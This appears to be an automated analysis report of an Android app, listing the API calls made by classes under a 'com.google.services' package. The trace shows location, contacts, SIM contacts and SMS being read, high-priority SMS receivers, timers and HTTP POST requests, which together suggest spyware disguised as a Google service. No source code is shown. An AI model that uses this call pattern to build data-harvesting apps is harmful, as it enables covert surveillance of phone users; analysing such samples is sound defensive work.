---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.lang.String-><init> | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.Object |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.location.Location->getLatitude | Show source |
---|
API: android.location.Location->getLongitude | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->setAction | Show source |
---|
API: android.os.Bundle-><init> | Show source |
---|
API: android.os.Bundle->putString | Show source |
---|
API: android.content.Context->getContentResolver | Show source |
---|
API: android.database.Cursor->moveToNext | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: android.text.TextUtils->isEmpty | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.database.Cursor->close | Show source |
---|
API: android.app.Service->onCreate | Show source |
---|
API: android.content.IntentFilter-><init> | Show source |
---|
API: android.content.IntentFilter->setPriority | Show source |
---|
API: com.google.services.alarmReceiver-><init> | Show source |
---|
API: android.location.Criteria-><init> | Show source |
---|
API: android.location.Criteria->setAltitudeRequired | Show source |
---|
API: android.location.Criteria->setBearingRequired | Show source |
---|
API: android.location.Criteria->setPowerRequirement | Show source |
---|
API: android.location.LocationManager->getBestProvider | Show source |
---|
API: com.google.services.AlarmService->updateWithNewLocation | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: com.google.services.AlarmService->getPhoneContacts | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: com.google.services.AlarmService->getSIMContacts | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->setAction | Show source |
---|
API: android.os.Bundle-><init> | Show source |
---|
API: android.os.Bundle->putString | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: com.google.services.AlarmService->getContentResolver | Show source |
---|
API: android.database.Cursor->moveToFirst | Show source |
---|
API: android.database.Cursor->getColumnIndex | Show source |
---|
API: android.database.Cursor->getColumnIndex | Show source |
---|
API: android.database.Cursor->getColumnIndex | Show source |
---|
API: android.database.Cursor->getColumnIndex | Show source |
---|
API: android.database.Cursor->getColumnIndex | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: java.text.SimpleDateFormat-><init> | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: java.lang.Long->parseLong | Show source |
---|
API: java.sql.Date-><init> | Show source |
---|
API: java.text.SimpleDateFormat->format | Show source |
---|
API: android.database.Cursor->getInt | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: android.database.Cursor->moveToNext | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->setAction | Show source |
---|
API: android.os.Bundle-><init> | Show source |
---|
API: com.google.services.AlarmService->getSms | Show source |
---|
API: android.os.Bundle->putString | Show source |
---|
API: android.app.Service-><init> | Show source |
---|
API: com.google.services.AlarmService->updateWithNewLocation | Show source |
---|
API: android.content.Context->getContentResolver | Show source |
---|
API: android.database.Cursor->moveToNext | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: android.text.TextUtils->isEmpty | Show source |
---|
API: android.database.Cursor->getString | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.database.Cursor->close | Show source |
---|
API: com.google.services.AlarmService->access$000 | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.google.services.AlarmService->access$000 | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.util.Vector-><init> | Show source |
---|
API: java.text.DecimalFormat-><init> | Show source |
---|
API: android.graphics.Paint-><init> | Show source |
---|
API: android.graphics.Paint->setTextAlign | Show source |
---|
API: android.graphics.Paint->setTextSize | Show source |
---|
API: android.graphics.Paint->setColor | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.util.Vector-><init> | Show source |
---|
API: java.util.Vector->size | Show source |
---|
API: java.util.Vector-><init> | Show source |
---|
API: java.lang.String-><init> | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: java.lang.String->length | Show source |
---|
API: java.util.Vector->add | Show source |
---|
API: java.lang.String->length | Show source |
---|
API: android.graphics.Paint->breakText | Show source |
---|
API: java.lang.String->substring | Show source |
---|
API: java.util.Vector->add | Show source |
---|
API: java.lang.String->substring | Show source |
---|
API: java.io.UnsupportedEncodingException->printStackTrace | Show source |
---|
API: java.util.Vector->addAll | Show source |
---|
API: java.util.Vector->size | Show source |
---|
API: java.util.Vector->get | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.util.Vector->remove | Show source |
---|
API: java.io.UnsupportedEncodingException->printStackTrace | Show source |
---|
API: java.util.Vector->clear | Show source |
---|
API: java.util.Vector->clear | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: java.nio.MappedByteBuffer->get | Show source |
---|
API: android.content.Context->getFilesDir | Show source |
---|
API: android.content.Context->getResources | Show source |
---|
API: android.content.res.Resources->getAssets | Show source |
---|
API: android.content.res.AssetManager->open | Show source |
---|
API: java.io.RandomAccessFile-><init> | Show source |
---|
API: java.io.InputStream->read | Show source |
---|
API: java.io.RandomAccessFile->write | Show source |
---|
API: java.lang.Exception->printStackTrace | Show source |
---|
API: android.content.Context->getFilesDir | Show source |
---|
API: java.io.RandomAccessFile-><init> | Show source |
---|
API: java.io.RandomAccessFile->getChannel | Show source |
---|
API: java.nio.channels.FileChannel->map | Show source |
---|
API: java.io.RandomAccessFile->close | Show source |
---|
API: java.io.InputStream->close | Show source |
---|
API: java.util.Vector-><init> | Show source |
---|
API: java.util.Vector->size | Show source |
---|
API: java.lang.String->indexOf | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: java.lang.String->length | Show source |
---|
API: java.util.Vector->add | Show source |
---|
API: java.lang.String->length | Show source |
---|
API: android.graphics.Paint->breakText | Show source |
---|
API: java.lang.String->substring | Show source |
---|
API: java.util.Vector->add | Show source |
---|
API: java.lang.String->substring | Show source |
---|
API: java.util.Vector->size | Show source |
---|
API: java.lang.String->length | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->getBytes | Show source |
---|
API: java.io.UnsupportedEncodingException->printStackTrace | Show source |
---|
API: java.io.UnsupportedEncodingException->printStackTrace | Show source |
---|
API: java.lang.String->indexOf | Show source |
---|
API: java.lang.String->replaceAll | Show source |
---|
API: java.util.Vector->size | Show source |
---|
API: java.util.Vector->size | Show source |
---|
API: android.graphics.Canvas->drawColor | Show source |
---|
API: java.util.Vector->iterator | Show source |
---|
API: java.util.Iterator->hasNext | Show source |
---|
API: java.util.Iterator->next | Show source |
---|
API: android.graphics.Canvas->drawText | Show source |
---|
API: android.graphics.Canvas->drawBitmap | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.text.DecimalFormat->format | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.graphics.Paint->measureText | Show source |
---|
API: android.graphics.Canvas->drawText | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: android.graphics.Path->reset | Show source |
---|
API: android.graphics.Path->moveTo | Show source |
---|
API: android.graphics.Path->quadTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->quadTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->close | Show source |
---|
API: android.graphics.Canvas->save | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Canvas->drawBitmap | Show source |
---|
API: android.graphics.Canvas->restore | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->min | Show source |
---|
API: android.graphics.Path->reset | Show source |
---|
API: android.graphics.Path->moveTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->close | Show source |
---|
API: android.graphics.Canvas->save | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Paint->setColorFilter | Show source |
---|
API: java.lang.Math->hypot | Show source |
---|
API: android.graphics.Matrix->reset | Show source |
---|
API: android.graphics.Matrix->setValues | Show source |
---|
API: android.graphics.Matrix->preTranslate | Show source |
---|
API: android.graphics.Matrix->postTranslate | Show source |
---|
API: android.graphics.Canvas->drawBitmap | Show source |
---|
API: android.graphics.Paint->setColorFilter | Show source |
---|
API: android.graphics.Canvas->rotate | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setBounds | Show source |
---|
API: android.graphics.drawable.GradientDrawable->draw | Show source |
---|
API: android.graphics.Canvas->restore | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.view.View-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: android.graphics.PointF-><init> | Show source |
---|
API: java.lang.Math->hypot | Show source |
---|
API: android.graphics.Path-><init> | Show source |
---|
API: android.graphics.Path-><init> | Show source |
---|
API: com.google.services.PageWidget->createDrawable | Show source |
---|
API: android.graphics.Paint-><init> | Show source |
---|
API: android.graphics.Paint->setStyle | Show source |
---|
API: android.graphics.ColorMatrix-><init> | Show source |
---|
API: android.graphics.ColorMatrix->set | Show source |
---|
API: android.graphics.ColorMatrixColorFilter-><init> | Show source |
---|
API: android.graphics.Matrix-><init> | Show source |
---|
API: com.google.services.PageWidget->getContext | Show source |
---|
API: android.widget.Scroller-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.graphics.drawable.GradientDrawable-><init> | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setGradientType | Show source |
---|
API: android.view.MotionEvent->getAction | Show source |
---|
API: android.view.MotionEvent->getX | Show source |
---|
API: android.view.MotionEvent->getY | Show source |
---|
API: com.google.services.PageWidget->postInvalidate | Show source |
---|
API: android.view.MotionEvent->getAction | Show source |
---|
API: android.view.MotionEvent->getX | Show source |
---|
API: android.view.MotionEvent->getY | Show source |
---|
API: android.view.MotionEvent->getAction | Show source |
---|
API: com.google.services.PageWidget->canDragOver | Show source |
---|
API: com.google.services.PageWidget->startAnimation | Show source |
---|
API: com.google.services.PageWidget->postInvalidate | Show source |
---|
API: android.view.View->computeScroll | Show source |
---|
API: android.widget.Scroller->computeScrollOffset | Show source |
---|
API: android.widget.Scroller->getCurrX | Show source |
---|
API: android.widget.Scroller->getCurrY | Show source |
---|
API: com.google.services.PageWidget->postInvalidate | Show source |
---|
API: android.graphics.Canvas->drawColor | Show source |
---|
API: com.google.services.PageWidget->calcPoints | Show source |
---|
API: com.google.services.PageWidget->drawCurrentPageArea | Show source |
---|
API: com.google.services.PageWidget->drawNextPageAreaAndShadow | Show source |
---|
API: com.google.services.PageWidget->drawCurrentPageShadow | Show source |
---|
API: com.google.services.PageWidget->drawCurrentBackArea | Show source |
---|
API: android.graphics.Path->reset | Show source |
---|
API: android.graphics.Path->moveTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->close | Show source |
---|
API: java.lang.Math->atan2 | Show source |
---|
API: java.lang.Math->toDegrees | Show source |
---|
API: android.graphics.Canvas->save | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Canvas->drawBitmap | Show source |
---|
API: android.graphics.Canvas->rotate | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setBounds | Show source |
---|
API: android.graphics.drawable.GradientDrawable->draw | Show source |
---|
API: android.graphics.Canvas->restore | Show source |
---|
API: android.widget.Scroller->isFinished | Show source |
---|
API: android.widget.Scroller->abortAnimation | Show source |
---|
API: android.widget.Scroller->startScroll | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->abs | Show source |
---|
API: java.lang.Math->hypot | Show source |
---|
API: com.google.services.PageWidget->getCross | Show source |
---|
API: com.google.services.PageWidget->getCross | Show source |
---|
API: java.lang.Math->atan2 | Show source |
---|
API: java.lang.Math->cos | Show source |
---|
API: java.lang.Math->sin | Show source |
---|
API: android.graphics.Path->reset | Show source |
---|
API: android.graphics.Path->moveTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->close | Show source |
---|
API: android.graphics.Canvas->save | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: java.lang.Math->atan2 | Show source |
---|
API: java.lang.Math->toDegrees | Show source |
---|
API: android.graphics.Canvas->rotate | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setBounds | Show source |
---|
API: android.graphics.drawable.GradientDrawable->draw | Show source |
---|
API: android.graphics.Canvas->restore | Show source |
---|
API: android.graphics.Path->reset | Show source |
---|
API: android.graphics.Path->moveTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->lineTo | Show source |
---|
API: android.graphics.Path->close | Show source |
---|
API: android.graphics.Canvas->save | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: android.graphics.Canvas->clipPath | Show source |
---|
API: java.lang.Math->atan2 | Show source |
---|
API: java.lang.Math->toDegrees | Show source |
---|
API: android.graphics.Canvas->rotate | Show source |
---|
API: java.lang.Math->hypot | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setBounds | Show source |
---|
API: android.graphics.drawable.GradientDrawable->draw | Show source |
---|
API: android.graphics.Canvas->restore | Show source |
---|
API: java.lang.Math->atan2 | Show source |
---|
API: android.graphics.drawable.GradientDrawable->setBounds | Show source |
---|
API: android.app.Service-><init> | Show source |
---|
API: java.util.Timer-><init> | Show source |
---|
API: com.google.services.PhoneService$1-><init> | Show source |
---|
API: android.app.Service->onCreate | Show source |
---|
API: android.content.ComponentName-><init> | Show source |
---|
API: com.google.services.PhoneService->getPackageManager | Show source |
---|
API: android.content.pm.PackageManager->getServiceInfo | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: com.google.services.PhoneService->getSharedPreferences | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.util.Date-><init> | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.util.Date->getTime | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.content.SharedPreferences->edit | Show source |
---|
API: android.content.SharedPreferences$Editor->putString | Show source |
---|
API: android.content.SharedPreferences$Editor->commit | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: com.google.services.PhoneService->getBaseContext | Show source |
---|
API: com.google.services.PhoneService->isConnect | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.content.IntentFilter-><init> | Show source |
---|
API: android.content.IntentFilter->setPriority | Show source |
---|
API: com.google.services.sendReceiver-><init> | Show source |
---|
API: com.google.services.PhoneService->registerReceiver | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: com.google.services.PhoneService->serviceInit | Show source |
---|
API: android.content.pm.PackageManager$NameNotFoundException->printStackTrace | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.app.Service->onDestroy | Show source |
---|
API: android.app.Service->onStart | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.util.Timer->scheduleAtFixedRate | Show source |
---|
API: java.lang.Exception->printStackTrace | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: java.util.TimerTask-><init> | Show source |
---|
API: android.content.IntentFilter-><init> | Show source |
---|
API: android.content.IntentFilter->setPriority | Show source |
---|
API: com.google.services.sendReceiver-><init> | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: com.google.services.PhoneService->serviceInit | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: com.google.services.PhoneService->getBaseContext | Show source |
---|
API: com.google.services.PhoneService->isConnect | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: com.google.services.PhoneService->getBaseContext | Show source |
---|
API: com.google.services.PhoneService->isConnect | Show source |
---|
API: com.google.services.PhoneService$1$1-><init> | Show source |
---|
API: com.google.services.PhoneService$1$1->start | Show source |
---|
API: java.lang.Thread-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.google.services.ScreenReceiver->isServiceRunning | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: android.app.ActivityManager->getRunningServices | Show source |
---|
API: java.util.List->size | Show source |
---|
API: java.util.List->size | Show source |
---|
API: java.util.List->get | Show source |
---|
API: android.content.ComponentName->getClassName | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: org.apache.http.client.methods.HttpPost-><init> | Show source |
---|
API: java.util.ArrayList-><init> | Show source |
---|
API: java.lang.String->toString | Show source |
---|
API: java.lang.String->toString | Show source |
---|
API: org.apache.http.message.BasicNameValuePair-><init> | Show source |
---|
API: java.util.List->add | Show source |
---|
API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> | Show source |
---|
API: org.apache.http.client.methods.HttpPost->setEntity | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->getParams | Show source |
---|
API: java.lang.Integer->valueOf | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->getParams | Show source |
---|
API: java.lang.Integer->valueOf | Show source |
---|
API: org.apache.http.HttpResponse->getStatusLine | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: org.apache.http.client.methods.HttpPost-><init> | Show source |
---|
API: java.util.ArrayList-><init> | Show source |
---|
API: java.lang.String->toString | Show source |
---|
API: java.lang.String->toString | Show source |
---|
API: org.apache.http.message.BasicNameValuePair-><init> | Show source |
---|
API: java.util.List->add | Show source |
---|
API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> | Show source |
---|
API: org.apache.http.client.methods.HttpPost->setEntity | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->getParams | Show source |
---|
API: java.lang.Integer->valueOf | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient->getParams | Show source |
---|
API: java.lang.Integer->valueOf | Show source |
---|
API: org.apache.http.HttpResponse->getStatusLine | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.util.Log->i | Show source |
---|
API: android.content.BroadcastReceiver-><init> | Show source |
---|
API: android.content.Intent->getAction | Show source |
---|
API: java.lang.String->equals | Show source |
---|
API: android.content.Intent->getExtras | Show source |
---|
API: android.os.Bundle->get | Show source |
---|
API: android.telephony.SmsMessage->createFromPdu | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: android.telephony.SmsMessage->getOriginatingAddress | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
